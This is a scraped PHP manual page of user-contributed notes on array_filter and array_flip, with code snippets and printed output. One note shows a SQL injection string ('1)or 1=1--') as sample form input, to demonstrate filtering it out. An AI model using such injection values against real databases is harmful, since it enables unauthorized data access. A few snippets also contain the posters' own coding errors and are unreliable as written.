Example
********/
<?php
   //array
    $array = array( 0 => array('index1'  => 'a', 'index2' => 'b', 'value' => 'hello'),
                  1 => array('index1'  => 'a', 'index2' => 'c', 'value' => 'bye'),
                  2 => array('index1'  => 'b', 'index2' => 'a', 'value' => 'hi'));

    //indexes
    $indexs = array('index1' => 'a', 'index2'=>'b');

    //aaand we get the element we want.
    $element = getArrayElement($array, $indexs);

        print_r($element);

    /***prints ***/
    Array
    (
        [0] => Array
            (
                [index1] => a
                [index2] => b
                [value] => hello
            )

    )?>

IF you want only the array inside the elements just set $justvalsplease true like this
<?php
     $element = getArrayElement($array, $indexs,true);
?>

And you will get just the element content
<?php
Array
(
    [index1] => a
    [index2] => b
    [value] => hello
)
?>
robbieaverill at gmail dot com 21-Jan-2015 10:32
If you want to use array_filter with a class method as the callback, you can use a psuedo type callback like this:

<?php
class Test
{
    public function doFilter($array)
    {
        return array_filter($array, array($this, 'callbackMethodName'));
    }

    protected function callbackMethodName($element)
    {
        return $element % 2 === 0;
    }
}

$example = new Test;
print_r($example->doFilter(range(1, 10)));
?>

Will return even numbers.
iancudanielc () gmail ! com 09-Jan-2015 08:56
If you want to pass the key to the callback function before PHP 5.6.0 (when the flag parameter wasn't implemented):

<?php

$result = array_filter(array_keys($array), 'is_int');

?>
m dot abbasian at outlook dot com 18-Oct-2014 08:58
If you want a quick way to Find Numbers ( remove NULL, FALSE and Empty Strings (""), all Strings) but leave values of 0 (zero)
eg:
<?php
/*
 Find Numbers (removes all NULL, FALSE and Empty Strings, all Strings) but leaves 0 (zero) values
*/

$result = array_filter( array( "0",0,1,2,3,'text' ) , 'is_numeric' );

var_dump($result);
/*
  array (size=5)
  0 => string '0' (length=1)
  1 => int 0
  2 => int 1
  3 => int 2
  4 => int 3
*/
?>
manwe at inversion dot pl 21-Sep-2014 12:33
array_filter remove also FALSE and 0. To remove only NULL's use:

$af = [1, 0, 2, null, 3, 6, 7];

function is_not_null($val){
    return !is_null($val);
}
$af = array_filter($af, 'is_not_null');
marc dot gray at gmail dot com 29-Apr-2014 10:44
My favourite use of this function is converting a string to an array, trimming each line and removing empty lines:

<?php
$array = array_filter(array_map('trim', explode("\n", $string)), 'strlen');
?>

Although it states clearly that array keys are preserved, it's important to note this includes numerically indexed arrays. You can't use a for loop on $array above without processing it through array_values() first.
Anonymous 02-Apr-2014 10:26
<?php
function arrayFilter($input, $callback = null) {
    foreach($input as $key => &$value) {
        if(is_array($value)) {
            $value = arrayFilter($value, $callback);
            if(is_array($value)) {
                if((bool)$value === false) unset($input[$key]);
            }
            else {
                if((bool)($callback ? $callback($value) : $value) === false) unset($input[$key]);
            }
        }
        else {
            if((bool)($callback ? $callback($value) : $value) === false) unset($input[$key]);
        }
    }
    return $input;
}
?>
avl 04-Nov-2013 12:25
nice trick:

$array_out = array_filter($array_in, function($var) use($array_other) {
            return in_array($var, $array_other) ? true : false;
});
qeremy [atta] gmail [dotta] com 02-Oct-2013 03:12
Here is key-passed array_filter function.

<?php
function arrayfilter(array $array, callable $callback = null) {
    if ($callback == null) {
        $callback = function($key, $val) {
            return (bool) $val;
        };
    }
    $return = array();
    foreach ($array as $key => $val) {
        if ($callback($key, $val)) {
            $return[$key] = $val;
        }
    }
    return $return;
}

$test_array = array('foo', 'a' => 'the a', 'b' => 'the b', 11 => 1101, '', null, false, 0);

$array = arrayfilter($test_array, function($key, $val) {
   return is_string($key);
});
print_r($array);
/*
Array
(
    [a] => the a
    [b] => the b
)
*/

$array = arrayfilter($test_array);
print_r($array);
/*
Array
(
    [0] => foo
    [a] => the a
    [b] => the b
    [11] => 1101
)
*/
?>
tomasz at trejderowski dot pl 24-Sep-2013 08:16
Read "callback" parameter note with understanding (as well as "converting to boolean" chapter). Keep in midn, that 0, both:

* integer: 0 and
* float: 0.00

evaluates to boolean FALSE! And therefore all array nodes, that have such value WILL ALSO BE FILTERED by array_filter(), with default call back. Unless you provide your own callback function, that will (for example) filter only empty strings and NULLs, but leave "zeros" untouched.

Some people (including me) might be surprised to find this out.
keksnicoh at googlemail dot com 12-Aug-2013 11:01
Usefull invertation of array_filter
<?php
$data = array(...)
$noArrayData = array_filter_inverse($data, 'is_array');

/**
 * Inverts the result of the filter callback.
 * @param array $data
 * @param callable $f
 * @return array
 */
function array_filter_inverse(array $data, callable $f)
{
    return array_filter($data, function() use(&$f) {
        return ! call_user_func_array($f, func_get_args());
    });
}
?>
pavian at gmail dot com 25-Jul-2013 10:04
Regarding to strlen() related notes, if you want to filter NULL, FALSE and empty strings from the array, just omit callback function, it does the same trick (but easier).
<?php

  $clean = array_filter($array);

?>
g dot kuizinas at anuary dot com 26-Mar-2013 11:10
<?php
function array_filter_recursive ($data) {
    $original = $data;

    $data = array_filter($data);

    $data = array_map(function ($e) {
        return is_array($e) ? array_filter_recursive($e) : $e;
    }, $data);

    return $original === $data ? $data : array_filter_recursive($data);
}

$data = ['a' => 0, 'b' => [], 'c' => [[]], 'd' => [[[[]]]], 'e' => 'foo', 'f' => [[['a']]], [true], [[],['a'], [true, false]]];

$data = array_filter_recursive($data);
?>
tx at tshwarelo-leaka dot co dot za 26-Mar-2013 09:26
To get rid of all white space in an array without looping.
<?php
   $array = array(5, "   ", 2, NULL, 13, "", 7, "\n", 4, "\t");
   print_r($array);
   $result = array_filter($array, create_function('$a','return preg_match("#\S#", $a);'));
   print_r($result);
?>
Array
(
    [0] => 5
    [1] =>
    [2] => 2
    [3] =>
    [4] => 13
    [5] =>
    [6] => 7
    [7] =>

    [8] => 4
    [9] =>
)
Array
(
    [0] => 5
    [2] => 2
    [4] => 13
    [6] => 7
    [8] => 4
)
Anonymous 13-Jan-2013 05:52
If you want a quick way to remove NULL, FALSE and Empty Strings (""), but leave values of 0 (zero), you can use the standard php function strlen as the callback function:
eg:
<?php

// removes all NULL, FALSE and Empty Strings but leaves 0 (zero) values
$result = array_filter( $array, 'strlen' );

?>
jtreminio at gmail dot com 04-Oct-2012 07:11
You can use array_filter from within a class to access a protected method from that same class:

<?php

class Bar {
    public function foo()
    {
        $array1 = array("a"=>1, "b"=>2, "c"=>3, "d"=>4, "e"=>5);

        print_r(array_filter($array1, array($this, 'naz')));
    }

    protected function baz($var)
    {
        return($var & 1);
    }
}

$bar = new Bar();
$bar->foo();
?>
John Erck: erck0006 at junkyo dot gmail dot com 04-Apr-2012 08:09
<?php
// ARRAY FILTER RECURSIVE USING CLASS, STATIC METHOD, AND ANONYMOUS CALLBACK FUNCTION
// NOTE THAT THE CALLBACK HAS ACCESS TO BOTH THE KEY AND VALUE

// THE CLASS (FOR YOU TO COPY)
class ArrayUtil
{
    public static function FilterRecursive(Array $source, $fn)
    {
        $result = array();
        foreach ($source as $key => $value)
        {
            if (is_array($value))
            {
                $result[$key] = self::FilterRecursive($value, $fn);
                continue;
            }
            if ($fn($key, $value))
            {
                $result[$key] = $value; // KEEP
                continue;
            }
        }
        return $result;
    }
}

// EXAMPLE ANONYMOUS CALLBACK FUNCTION
$fn = function ($key, $value)
{
    if (strpos($key, 'drop') !== FALSE)
    {
        return FALSE; // DROP
    }
    return TRUE; // KEEP
};

// EXAMPLE PRE FILTER TEST DATA
$preFilter = array(
    'a' => 'one',
    'b' => array(
        'example_drop' => 'filter me out',
        'example_keep' => 'keep me',
    ),
    'c' => 'three',
);

// EXAMPLE USAGE CODE
echo '// print_r($preFilter);' . "\n";
print_r($preFilter);
$postFilter = ArrayUtil::FilterRecursive($preFilter, $fn);
echo "\n";
echo '// print_r($postFilter);' . "\n";
print_r($postFilter);

/* OUTPUT OPEN
// print_r($preFilter);
Array
(
    [a] => one
    [b] => Array
        (
            [example_drop] => filter me out
            [example_keep] => keep me
        )

    [c] => three
)

// print_r($postFilter);
Array
(
    [a] => one
    [b] => Array
        (
            [example_keep] => keep me
        )

    [c] => three
)
OUTPUT CLOSE */
spam dot 2011 at rebell dot at 21-Nov-2011 02:28
If you have not noticed already - array_filter() can be used to remove empty elements, since an empty string considered "false", if you not specify a callback

Keep in mind, that this will remove also some other values - so if you want a quick "remove empty elements from array" this function will be fine, as long as you dont have anything to keep, which casts to "false"
lisachenko dot it at HUMAN dot gmail dot com 22-Jul-2011 12:54
You can access the current key of array by passing a reference to array into callback function and call key() and next() method in the callback function:
<?php
$data = array('first' => 1, 'second' => 2, 'third' => 3);
$data = array_filter($data, function ($item) use (&$data) {
    echo "Filtering key ", key($data), '<br>', PHP_EOL;
    next($data);
    return false;
});
?>

However be careful with array internal pointer or use reset() method before calling array_filter().
rolf at example dot com 08-Nov-2010 11:06
Here is how you could easily delete a specific value from an array with array_filter:

<?php
$array = array (1, 3, 3, 5, 6);
$my_value = 3;
$filtered_array = array_filter($array, function ($element) use ($my_value) { return ($element != $my_value); } );
print_r($filtered_array);
?>

output:

Array
(
    [0] => 1
    [3] => 5
    [4] => 6
)
Peter Robinett 12-Aug-2010 08:09
Because array_filter() preserves keys, you should consider the resulting array to be an associative array even if the original array had integer keys for there may be holes in your sequence of keys. This means that, for example, json_encode() will convert your result array into an object instead of an array. Call array_values() on the result array to guarantee json_encode() gives you an array.
acid24 at gmail dot com 26-Jul-2010 05:58
A function that allows filtering an array by keys:

<?php
function array_filter_key( $input, $callback ) {
    if ( !is_array( $input ) ) {
        trigger_error( 'array_filter_key() expects parameter 1 to be array, ' . gettype( $input ) . ' given', E_USER_WARNING );
        return null;
    }

    if ( empty( $input ) ) {
        return $input;
    }

    $filteredKeys = array_filter( array_keys( $input ), $callback );
    if ( empty( $filteredKeys ) ) {
        return array();
    }

    $input = array_intersect_key( array_flip( $filteredKeys ), $input );

    return $input;
}

?>

Example:

<?php
$input = array_flip( range( 'a', 'z' ) );

$consonants = array_filter_key( $arr, function( $elem ) {
    $vowels = "aeiou";
    return strpos( $vowels, strtolower( $elem ) ) === false;
} );
?>

Outputs:

array(21) {
  ["b"]=>
  int(1)
  ["c"]=>
  int(2)
  ["d"]=>
  int(3)
  ["f"]=>
  int(5)
  ["g"]=>
  int(6)
  ["h"]=>
  int(7)
  ["j"]=>
  int(9)
  ["k"]=>
  int(10)
  ["l"]=>
  int(11)
  ["m"]=>
  int(12)
  ["n"]=>
  int(13)
  ["p"]=>
  int(15)
  ["q"]=>
  int(16)
  ["r"]=>
  int(17)
  ["s"]=>
  int(18)
  ["t"]=>
  int(19)
  ["v"]=>
  int(21)
  ["w"]=>
  int(22)
  ["x"]=>
  int(23)
  ["y"]=>
  int(24)
  ["z"]=>
  int(25)
}
Ant P. 13-Mar-2010 08:58
If you're using filter_input_array, the values will be null on failure and anything else on success. Because array_filter by default removes false, 0 and "" you need to do extra work like this:
<?php
$input_array = filter_input_array(INPUT_GET, array(
  'var1' => FILTER_VALIDATE_BOOLEAN,
  'var2' => FILTER_VALIDATE_INT
));

array_filter($input_array, function($a) { return !is_null($a) });
?>
webdesign at blackbyrd dot biz 08-Oct-2009 01:00
Here's a function that will filter a multi-demensional array. This filter will return only those items that match the $value given

<?php
    /*
     * filtering an array
     */
    function filter_by_value ($array, $index, $value){
        if(is_array($array) && count($array)>0)
        {
            foreach(array_keys($array) as $key){
                $temp[$key] = $array[$key][$index];

                if ($temp[$key] == $value){
                    $newarray[$key] = $array[$key];
                }
            }
          }
      return $newarray;
    }
?>

Example:

<?php
$results = array(
   0 => array('key1' => '1', 'key2' => 2, 'key3' => 3),
   1 => array('key1' => '12', 'key2' => 22, 'key3' => 32)
);

$nResults = filter_by_value($results, 'key2', '2');
?>

Output :

array(
    0 => array('key1' => '1', 'key2' => 2, 'key3' => 3)
);
mewsterus at yahoo dot com 14-Sep-2009 10:13
Here's an easy way to get a combination of keys and values, such that if you don't specify a key you will get the value, and if you do specify a key you will get the key:

<?php
$array = array('One' => 'First', 'Second', 'Third', 'Four' => 'Fourth', 'Fifth');

var_dump(array_keys($array));

$names = array_filter(array_keys($array), 'is_string') + array_values($array);
ksort($array);

var_dump($names);
?>

Outputs:

array(5) {
  [0]=>string(3) "One"
  [1]=>int(0)
  [2]=>int(1)
  [3]=>string(4) "Four"
  [4]=>int(2)
}
array(5) {
  [0]=>string(3) "One"
  [1]=>string(6) "Second"
  [2]=>string(5) "Third"
  [3]=>string(4) "Four"
  [4]=>string(5) "Fifth"
}

Without using ksort, the keys appear before the fallback values, instead of inline and appearing like they replace them, however the keys are intact (which is why ksort works) so it's only execution order.
chrisstocktonaz at gmail dot com 30-Apr-2009 09:34
I use the following to see if a array consist of scalar values or null, but of course you could mix it up using any of the is_ functions.

<?php
if(count($data) !== count(array_filter($data, 'is_scalar') + array_filter($data, 'is_null'))) {
  throw new Exception('Array did not consist of scalar and null values');
}
?>
niehztog 30-Dec-2008 01:27
In case you are interested (like me) in filtering out elements with certain key-names, array_filter won't help you. Instead you can use the following:

<?php
$arr = array( 'element1' => 1, 'element2' => 2, 'element3' => 3, 'element4' => 4 );
$filterOutKeys = array( 'element1', 'element4' );

$filteredArr = array_diff_key( $arr, array_flip( $filterOutKeys ) )
?>

Result will be something like this:
['element2'] => 2
['element3'] => 3
romain dot lamarche at gmail dot com 11-Dec-2008 06:39
This function filters an array and remove all null values recursively.

<?php
  function array_filter_recursive($input)
  {
    foreach ($input as &$value)
    {
      if (is_array($value))
      {
        $value = array_filter_recursive($value);
      }
    }

    return array_filter($input);
  }
?>

Or with callback parameter (not tested) :

<?php
  function array_filter_recursive($input, $callback = null)
  {
    foreach ($input as &$value)
    {
      if (is_array($value))
      {
        $value = array_filter_recursive($value, $callback);
      }
    }

    return array_filter($input, $callback);
  }
?>
darren at dazwin dot com 08-Oct-2008 11:44
Regarding comment about trimming empty strings, the code posted will get into an infinite loop if the array is reduced to zero elements. The following might be better:

<?php
function array_trim($array) {
    while (!empty($array) and strlen(reset($array)) === 0) {
        array_shift($array);
    }
    while (!empty($array) and strlen(end($array)) === 0) {
        array_pop($array);
    }
    return $array;
}
?>
sami 03-Oct-2008 11:11
Yes, it may remove NULLS, but it also removes anything that factors to a FALSE as well; like FALSE and ZERO. :/
Martin 04-Sep-2007 10:56
This function trims empty strings from the beginning and end of an array.
It's useful when outputing plaintext files on a page and you want to skip empty lines at the beginning and end, but not within the text.

<?php
function array_trim($array) {
    while (strlen(reset($array)) === 0) {
        array_shift($array);
    }
    while (strlen(end($array)) === 0) {
        array_pop($array);
    }
    return $array;
}
?>

You might want to trim each element too.
leon at darkk dot net dot ru 22-May-2007 12:15
Here is a way to get customizable filter

<?php
function blablabla() {
    ....
    $new = getNewUidls();
    class UidlFilter {
        function UidlFilter($uidls) { $this->uidls = $uidls; }
        function filter($metamsg) { return in_array($metamsg['uidl'], $this->uidls); }
    }
    $msglist = array_filter($msglist, array(new UidlFilter($new), 'filter');
    ....
}
?>
Fladnag - bahatest at ifrance dot com 22-Oct-2006 09:19
If you have a form with multiple checkbox having ID element as value for selection in a list, you probably have a SQL request like :
$req="SELECT ... WHERE ID IN (".implode(',', array_keys($choices)).")";
without quote before and after choices keys because they are numeric values... but in fact, they can be string values, and a SQL injection problem.

with array_filter, you can easily filter bad values :
<?php
    $choices=array('A'=>'on', -1=>'on', 0=>'on', 1=>'on', 12=>'on', "1)or 1=1--"=>'on');
    print_r($choices);
    $choices=array_filter(array_keys($choices), 'is_numeric');
    print_r($choices);
?>
will print :
<?php
Array
(
    [A] => on
    [-1] => on
    [0] => on
    [1] => on
    [12] => on
    [1)or 1=1--] => on
)
Array
(
    [1] => -1
    [2] => 0
    [3] => 1
    [4] => 12
)
?>
marc dot vanwoerkom at fernuni-hagen dot de 05-Jul-2004 08:09
Some of PHP's array functions play a prominent role in so called functional programming languages, where they show up under a slightly different name:

<?php
  array_filter() -> filter(),
  array_map() -> map(),
  array_reduce() -> foldl() ("fold left")
?>

Functional programming is a paradigm which centers around the side-effect free evaluation of functions. A program execution is a call of a function, which in turn might be defined by many other functions. One idea is to use functions to create special purpose functions from other functions.

The array functions mentioned above allow you compose new functions on arrays.

E.g. array_sum = array_map("sum", $arr).

This leads to a style of programming that looks much like algebra, e.g. the Bird/Meertens formalism.

E.g. a mathematician might state

  map(f o g) = map(f) o map(g)

the so called "loop fusion" law.

Many functions on arrays can be created by the use of the foldr() function (which works like foldl, but eating up array elements from the right).

I can't get into detail here, I just wanted to provide a hint about where this stuff also shows up and the theory behind it.
Maxwel Leite 11-May-2004 08:17
For any type of array. Basead in redshift code.

<?php
function array_clean ($array, $todelete = false, $caseSensitive = false) {
    foreach($array as $key => $value) {
        if(is_array($value)) {
            $array[$key] = array_clean($array[$key], $todelete, $caseSensitive);
        }
        else {
            if($todelete) {
                if($caseSensitive) {
                    if(strstr($value ,$todelete) !== false)
                        unset($array[$key]);
                }
                else {
                    if(stristr($value, $todelete) !== false)
                        unset($array[$key]);
                }
            }
            elseif (empty($value)) {
                unset($array[$key]);
            }
        }
    }
    return $array;
}
?>
Jeremy 29-Dec-2003 01:31
Here is a nice little function which will apply a callback function recursively over a multidimensional array. If the callback function returns false, then it replaces the value of the array with $filtered_ouput. This function gracefully handles objects inside of arrays (and objects within objects within arrays, etc). It is specifically designed for your callback function to process on the array key's (unlike normal array_filter which filters on the values), but it could work on the array values depending on your test criteria (YMMV).

<?PHP

function array_key_filter_multi($array, $callback, $filtered_output = "")
{
   $ret = array();
   foreach($array as $key=>$value) {
       if($callback($key,$value)) {
           if(is_array($value)) {
               $ret[$key] = array_key_filter_multi($value, $callback, $filtered_output);
           }
           elseif(is_object($value)) {
               $ret[$key] = array_key_filter_multi(get_object_vars($value), $callback, $filtered_output);
           }
           else {
               $ret[$key]=$value;
           }
       }
       else {
           $ret[$key]=$filtered_output;
       }
   }
   return $ret;
}

?>

We use this to filter redundant data from debugging output. An example usage is:

<?

$callback_func = create_function('$key, $value', 'return ($key == "db" || $key == "smarty") ? false : true;');
echo "<PRE>" . print_r(array_key_filter_multi($_SESSION, $callback_func, "**filtered by function**"), true) . "</PRE>";

?>

Which filters all keys with "db" or "smarty" as their name (including objects which have a reference to those variables). The output of the above in a test case I did is the following:

Array
(
    [userdata] => Array
        (
            [sid] => a130e675d380e0e9fe47897922d719ac
            [not_in_db] =>
            [user_id] => 1
            [session_id] => 154
            [permissions] => 1
            [username] => tester
        )
    [systemobjects] => Array
        (
            [db] => **filtered by function**
            [smarty] => **filtered by function**
        )
)
redshift at pandora dot be 28-Jun-2003 12:01
Hi all,
Here's a function that will look trough an array, and removes the array member when the search string is found.

<?php
function array_clean ($input, $delete = false, $caseSensitive = false)
    {
    $i = 0;
    while($i < count($input))
        {
        if($delete)
            {
            if($caseSensitive)
                {
                if(!strstr($input[$i] ,$delete))
                    {
                    $return[] = $input[$i];
                    }
                }
                else
                {
                if(!stristr($input[$i], $delete))
                    {
                    $return[] = $input[$i];
                    }
                }
            }
            else
            {
            if(!empty($input[$i]))
                {
                $return[] = $input[$i];
                }
            }
        $i++;
        }
    return $return;
    }
?>

array array_clean(array input [, string needle [, boolean case sensitive]])

if needle is left empty, the function will delete the array members that have no value (this means if it's empty).
NOTE: It rebuilds the array from scratch, so keys begin with 0, like you would create a new array.

Example:
$array = array("John", "Doe", "Macy");
$array = array_clean($array, "doe", false);

print_r($array);
would return:
array
(
    [0] => John
    [1] => Macy
)

Hopes this helps someone :-)
skd2 at ece dot msstate dot edu 14-May-2003 03:24
The following function modifies the supplied array recursively so that filtering is performed on multidimentional arrays as well, while preserving keys.

<?php
function array_cleanse(&$arr){

$temp = array();
reset($arr);
if(count($arr) == 0) return "";

foreach($arr as $key=>$val):

 (is_array($val))? array_cleanse($val) : NULL;
 ($val)? $temp[$key] = $val : NULL;

endforeach;

$arr = $temp;
reset($arr);
}
?>

$arr1 = array('a'=>20,'b'=>array(''),'c'=>array(1,0,2),'d'=>0);
array_cleanse($arr1);
$arr1 will be array('a'=>20,'c'=>array(1,2))

array_filter may not be used as it does not modify the array within itself.
ajohnson at speakeasy dot org 27-Sep-2002 12:42
be careful with the above function "array_delete"'s use of the stristr function, it could be slightly misleading. consider the following:

<?php
function array_delete($array, $filterforsubstring){
    $thisarray = array ();
    foreach($array as $value)
        if(stristr($value, $filterforsubstring)===false && strlen($value)>0)
            $thisarray[] = $value;
    return $thisarray;
}

function array_delete2($array, $filterforstring, $removeblanksflag=0){
    $thisarray = array ();
    foreach($array as $value)
        if(!(stristr($value, $filterforstring) && strlen($value)==strlen($filterforstring))
                && !(strlen($value)==0 && $removeblanksflag))
            $thisarray[] = $value;
    return $thisarray;
}

function array_delete3($array, $filterfor, $substringflag=0, $removeblanksflag=0){
    $thisarray = array ();
    foreach($array as $value)
        if(
            !(stristr($value, $filterfor)
                && ($substringflag || strlen($value)==strlen($filterfor))
            )
            && !(strlen($value)==0 && $removeblanksflag)
        )
            $thisarray[] = $value;
    return $thisarray;
}

$array1 = array ('the OtHeR thang','this', 'that', 'OtHer','', 9, 101, 'fifty', ' oTher', 'otHer ','','other','Other','','other blank things');

echo "<pre>array :\n";
print_r($array1);

$array2=array_delete($array1, "Other");

echo "array_delete(\$array1, \"Other\"):\n";
print_r($array2);

$array2=array_delete2($array1, "Other");

echo "array_delete2(\$array1, \"Other\"):\n";
print_r($array2);

$array2=array_delete2($array1, "Other",1);

echo "array_delete2(\$array1, \"Other\",1):\n";
print_r($array2);

$array2=array_delete3($array1, "Other",1);

echo "array_delete3(\$array1, \"Other\",1):\n";
print_r($array2);

$array2=array_delete3($array1, "Other",0,1);

echo "array_delete3(\$array1, \"Other\",0,1):\n";
print_r($array2);
 ?>
ajohnson at speakeasy dot org 17-Aug-2002 01:04
I was looking for a function to delete values from an array and thought I had found it in array_filter(), however, I *didn't* want the keys to be preserved *and* I needed blank values cleaned out of the array as well. I came up with the following (with help from many of the above examples):

<?php
function array_delete($array, $filterfor){
  $thisarray = array ();
  foreach($array as $value)
    if(stristr($value, $filterfor)===false && strlen($value)>0)
      $thisarray[] = $value;
  return $thisarray;
}

$array1 = array ('OtHeR','this', 'that', 'Other','', 9, 101, 'fifty', 'other','','');

echo "<pre>array :\n";
print_r($array1);

$array2=array_delete($array1, "Other");

echo "filtered:\n";
print_r($array2);
?>


交换数组中的键和值

  • ? array_filter
  • array_intersect_assoc ?
  • PHP Manual
  • 数组 函数
  • 交换数组中的键和值

array_flip

(PHP 4, PHP 5, PHP 7)

array_flip — 交换数组中的键和值

说明

array_flip ( array $array ) : array

array_flip() 返回一个反转后的 array，例如 array 中的键名变成了值，而 array 中的值成了键名。

注意 array 中的值需要能够作为合法的键名（例如需要是 integer 或者 string）。如果类型不对，将出现一个警告，并且有问题的键／值对将不会出现在结果里。

如果同一个值出现多次，则最后一个键名将作为它的值，其它键会被丢弃。

参数

array

要交换键/值对的数组。

返回值

成功时返回交换后的数组，如果失败返回 NULL。

范例

Example #1 array_flip() 例子

<?php
$input = array("oranges", "apples", "pears");
$flipped = array_flip($input);

print_r($flipped);
?>

以上例程会输出：

Array
(
    [oranges] => 0
    [apples] => 1
    [pears] => 2
)

Example #2 array_flip() 例子 : 冲突

<?php
$input = array("a" => 1, "b" => 1, "c" => 2);
$flipped = array_flip($input);

print_r($flipped);
?>

以上例程会输出：

Array
(
    [1] => b
    [2] => c
)

参见

  • array_values() - 返回数组中所有的值
  • array_keys() - 返回数组中部分的或所有的键名
  • array_reverse() - 返回单元顺序相反的数组

User Contributed Notes

Ahammar Yassine 11-Oct-2018 06:03
<?php

$arr = array('one' => ['four' => 4], 'two' => '2', 'three' => '3');
var_dump($arr);

$arr2 = array_flip($arr);
var_dump($arr2);

?>

The above example will output:

array(3) {
  ["one"]=>
  array(1) {
    ["four"]=>
    int(4)
  }
  ["two"]=>
  string(1) "2"
  ["three"]=>
  string(1) "3"
}

Warning: array_flip(): Can only flip STRING and INTEGER values! in /root/test.php on line 4
array(2) {
  [2]=>
  string(3) "two"
  [3]=>
  string(5) "three"
}
dash 08-Oct-2018 03:27
Notice : array_flip can turn string into integer
Hayley Watson 30-Oct-2017 03:19
Don't use this function for filtering or searching an array - PHP already has functions for exactly those purposes. If nothing else, array_flip will trash the array's elements if they're anything other than integers or non-decimal-integer strings.
Bob Ray 03-Mar-2017 04:22
array_flip will remove duplicate values in the original array when you flip either an associative or numeric array. As you might expect it's the earlier of two duplicates that is lost:

<?php
    $a = array('one', 'two', 'one');
    print_r($a);

    $b = array_flip($a);
    print_r($b);
?>

Result:

array(3) {
  [0]  => string(3) "one"
  [1]  =>  string(3) "two"
  [2]  =>  string(3) "one"
}

array(2) {
  'one' => int(2)
  'two' => int(1)
}

This may be good or bad, depending on what you want, but no error is thrown.
info at sabastore dot net 27-Apr-2016 08:57
note :: array_flip is a changer for key and value and a auto unique like array_unique :

<?php
/*
sabastore
 */
$intArray1 = array(-4,1,1,3);
print_r($intArray1);
$intArray1 = array_flip($intArray1);
print_r($intArray1);
?>
Prabhas Gupte 27-Jan-2015 06:48
array_flip() does not retain the data type of values, when converting them into keys. :(

<?php
$arr = array('one' => '1', 'two' => '2', 'three' => '3');
var_dump($arr);
$arr2 = array_flip($arr);
var_dump($arr2);
?>

This code outputs this:
array(3) {
  ["one"]=>
  string(1) "1"
  ["two"]=>
  string(1) "2"
  ["three"]=>
  string(1) "3"
}
array(3) {
  [1]=>
  string(3) "one"
  [2]=>
  string(3) "two"
  [3]=>
  string(5) "three"
}

It is valid expectation that string values "1", "2" and "3" would become string keys "1", "2" and "3".
grimdestripador at hotmail dot com 25-Feb-2014 12:06
<?php
function array_flip_into_subarray($input){
$output = array();
foreach ($input as $key=>$values){
    foreach ($values as $value){
        $output[$value][] = $key;
    }
}
return $output;
}
Tony H 29-Apr-2013 02:59
This function is useful when parsing a CSV file with a heading column, but the columns might vary in order or presence:

<?php

$f = fopen("file.csv", "r");

/* Take the first line (the header) into an array, then flip it
so that the keys are the column name, and values are the
column index. */
$cols = array_flip(fgetcsv($f));

while ($line = fgetcsv($f))
{
    // Now we can reference CSV columns like so:
    $status = $line[$cols['OrderStatus']];
}

?>

I find this better than referencing the numerical array index.
Anonymous 05-Apr-2012 10:17
Similarly, if you want the last value without affecting the pointer, you can do:

<?php

$array = array("one","two","three");

echo next($array); // "two"

$last = array_pop(array_keys(array_flip($array)));

echo $last;  // "three"

echo current($array); // "two"

?>
kjensen at iaff106 dot com 06-Jan-2012 10:23
I needed a way to flip a multidimensional array and came up with this function to accomplish the task.  I hope it helps someone else.

<?php
function multi_array_flip($arrayIn, $DesiredKey, $DesiredKey2=false, $OrigKeyName=false) {
$ArrayOut=array();
foreach ($arrayIn as $Key=>$Value)
    {
        // If there is an original key that need to be preserved as data in the new array then do that if requested ($OrigKeyName=true)
        if ($OrigKeyName) $Value[$OrigKeyName]=$Key;
        // Require a string value in the data part of the array that is keyed to $DesiredKey
        if (!is_string($Value[$DesiredKey])) return false;

        // If $DesiredKey2 was specified then assume a multidimensional array is desired and build it
        if (is_string($DesiredKey2))
        {
            // Require a string value in the data part of the array that is keyed to $DesiredKey2
            if (!is_string($Value[$DesiredKey2])) return false;

            // Build NEW multidimensional array
            $ArrayOut[$Value[$DesiredKey]][$Value[$DesiredKey2]]=$Value;
        }

            // Build NEW single dimention array
        else $ArrayOut[$Value[$DesiredKey]][]=$Value;
    }
return $ArrayOut;
}//end multi_array_flip
?>
Final 16-Dec-2011 04:16
I find this function vey useful when you have a big array and you want to know if a given value is in the array. in_array in fact becomes quite slow in such a case, but you can flip the big array and then use isset to obtain the same result in a much faster way.
h3x 12-Sep-2010 01:11
this function can be used to remove null elements form an array:

<?php
$ar = array(null,'1','2',null,'3',null);
print_r($ar);
/*
result:
Array
(
    [0] =>
    [1] => 1
    [2] => 2
    [3] =>
    [4] => 3
    [5] =>
)
*/

print_r(array_flip(array_flip($ar)));
/*
result:
Array
(
    [1] => 1
    [2] => 2
    [4] => 3
)
*/
?>
Hayley Watson 20-Mar-2009 02:22
Finding the longest string in an array?

<?php
function longest_string_in_array($array)
{
    $mapping = array_combine($array, array_map('strlen', $array));
    return array_keys($mapping, max($mapping));
}
?>

Differences are obvious: returns an array of [i]all[/i] of the longest strings, instead of just picking one arbitrarily. Doesn't do the stripslashing or magic stuff because that's another job for for another function.
dan at aoindustries dot com 07-Mar-2009 12:48
From an algorithmic efficiency standpoint, building an entire array of lengths to then sort to only retrieve the longest value is unnecessary work.  The following should be O(n) instead of O(n log n).  It could also be:

<?php
function get_longest_value($array) {
    // Some don't like to initialize, I do
    $longest = NULL;
    $longestLen = -1;
    foreach ($array $value) {
        $len = strlen($value);
        if($len>$longestLen) {
            $longest = $value;
            $longestLen = $len;
        }
    }
    $longest = str_replace("\r\n", "\n", $longest);
    if (get_magic_quotes_gpc()) { return stripslashes($longest); }
    return $longest;
}
?>
corz at corz dot org 08-Dec-2008 01:36
<?php
/*
    Fun function to return the longest physical *value* from an array.

    Culled from a small script designed to capture the longest $_POST variable,
    usually the textarea, which would then be dumped to a "emergency post dump file".

    corz at corz dot org
*/

$array = array("input" => "submit", "textarea" => "Some long spiel of text\r\na textarea, probably",
                        "another-input" => "make me longer", "and" => "another", "etc" => "etc.");

echo '<!DOCTYPE HTML SYSTEM><html><head><title>long</title></head><body><pre>Longest value: ',
                                            get_longest_value($array),'</pre></body></html>';

function get_longest_value($array) {
    foreach ($array as $key => $value) {
        $lengths[$key] = strlen($value);
    }
    asort($lengths);
    $lengths = array_flip($lengths);
    $longest = str_replace("\r\n", "\n", $array[array_pop($lengths)]);
    if (get_magic_quotes_gpc()) { return stripslashes($longest); }
    return $longest;
}
?>
pinkgothic at gmail dot com 26-Apr-2007 01:37
In case anyone is wondering how array_flip() treats empty arrays:

<?php
print_r(array_flip(array()));
?>

results in:

Array
(
)

I wanted to know if it would return false and/or even chuck out an error if there were no key-value pairs to flip, despite being non-intuitive if that were the case. But (of course) everything works as expected. Just a head's up for the paranoid.
snaury at narod dot ru 23-Nov-2004 11:21
